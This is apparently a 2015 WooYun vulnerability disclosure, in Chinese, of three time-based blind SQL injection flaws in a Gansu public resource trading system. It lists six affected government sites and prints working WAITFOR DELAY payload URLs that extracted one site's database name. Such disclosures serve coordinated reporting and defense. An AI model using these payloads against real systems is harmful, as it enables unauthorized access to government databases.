当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116596

漏洞标题:某公共交易系统3处SQL注射漏洞

相关厂商:甘肃成兴信息科技有限公司

漏洞作者: 路人甲

提交时间:2015-05-28 11:06

修复时间:2015-08-30 17:32

公开时间:2015-08-30 17:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-28: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经确认,细节仅向厂商公开
2015-06-04: 细节向第三方安全合作伙伴开放
2015-07-26: 细节向核心白帽子及相关领域专家公开
2015-08-05: 细节向普通白帽子公开
2015-08-15: 细节向实习白帽子公开
2015-08-30: 细节向公众公开

简要描述:

某公共交易系统3处SQL注射漏洞

详细说明:

存在漏洞的是甘肃成兴信息科技有限公司开发的公共交易系统
案例:

http://www.bygzjy.cn/  白银公共资源交易网
http://www.gsggzyjy.cn/ 甘肃公共资源交易网
http://www.plsggzyjy.cn/ 平凉公共资源交易网
http://121.40.131.71:8031/ 武威市公共资源交易网
http://www.jcggzy.com/ 金昌市公共资源交易网
http://zyggzy.com/ 张掖市公共资源交易网


3处注射详情:

1.SiteItem
判断数据库名长度:
/infopage/infolist.aspx?InfoType=1&SiteItem=1'; if(len(db_name()))>=20 waitfor delay '0:0:5'--%20
/infopage/infolist.aspx?InfoType=1&SiteItem=1'; if(len(db_name()))>=21 waitfor delay '0:0:5'--%20
判断数据库名第一个字母的ASCII值:
/infopage/infolist.aspx?InfoType=1&SiteItem=1';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=98) WAITFOR DELAY '0:0:5'--%20
/infopage/infolist.aspx?InfoType=1&SiteItem=1';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=99) WAITFOR DELAY '0:0:5'--%20
2.InfoID
/infopage/view.aspx?InfoID=1' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>1) WAITFOR DELAY '0:0:5'--%20
判断数据库名长度:
/infopage/view.aspx?InfoID=1' if(len(db_name()))>=20 waitfor delay '0:0:5'--%20
/infopage/view.aspx?InfoID=1' if(len(db_name()))>=21 waitfor delay '0:0:5'--%20
判断数据库名第一个字母的ASCII值:
/infopage/view.aspx?InfoID=1' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=98) WAITFOR DELAY '0:0:5'--%20
/infopage/view.aspx?InfoID=1' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=99) WAITFOR DELAY '0:0:5'--%20
3.TenderProjectID
判断数据库名长度:
/infopage/infoprice.aspx?TenderProjectID=-1; if(len(db_name()))>=20 waitfor delay '0:0:5'--%20
/infopage/infoprice.aspx?TenderProjectID=-1; if(len(db_name()))>=21 waitfor delay '0:0:5'--%20
判断数据库名第一个字母的ASCII值:
/infopage/infoprice.aspx?TenderProjectID=-1; IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=98) WAITFOR DELAY '0:0:5'--%20
/infopage/infoprice.aspx?TenderProjectID=-1; IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=99) WAITFOR DELAY '0:0:5'--%20

漏洞证明:

漏洞演示:以白银公共资源交易网(http://www.bygzjy.cn/)为例:
由于都是盲注,以参数:SiteItem为例:
1.判断当前数据库名长度:
a.当设置数据库名长度>=20时,页面存在延时,即判断条件成立

1.png


b.当设置数据库名长度>=21时,页面不存在延时,即判断条件不成立,即数据库名长度为20

2.png


2.判断当前数据库名第一个字符的ASCII码值:
a.设置数据库名第一个字符的ASCII码值>=98时,页面存在延时,即判断成立

3.png


b.设置数据库名第一个字符的ASCII码值>=99时,页面不存在延时,即判断不成立,即当前数据库名第一个字符的ASCII码值为98,即字符b

4.png


根据此方法依次可得出数据库名各个位对应的ASCII码值98 97 105 121 105 110 112 117 98 108 105 99 112 108 97 116 102 111 114 109 ,即数据库名为baiyinpublicplatform

修复方案:

对参数进行过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-06-01 17:31

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给甘肃分中心,由其后续协调网站管理单位和厂商处置.

最新状态:

暂无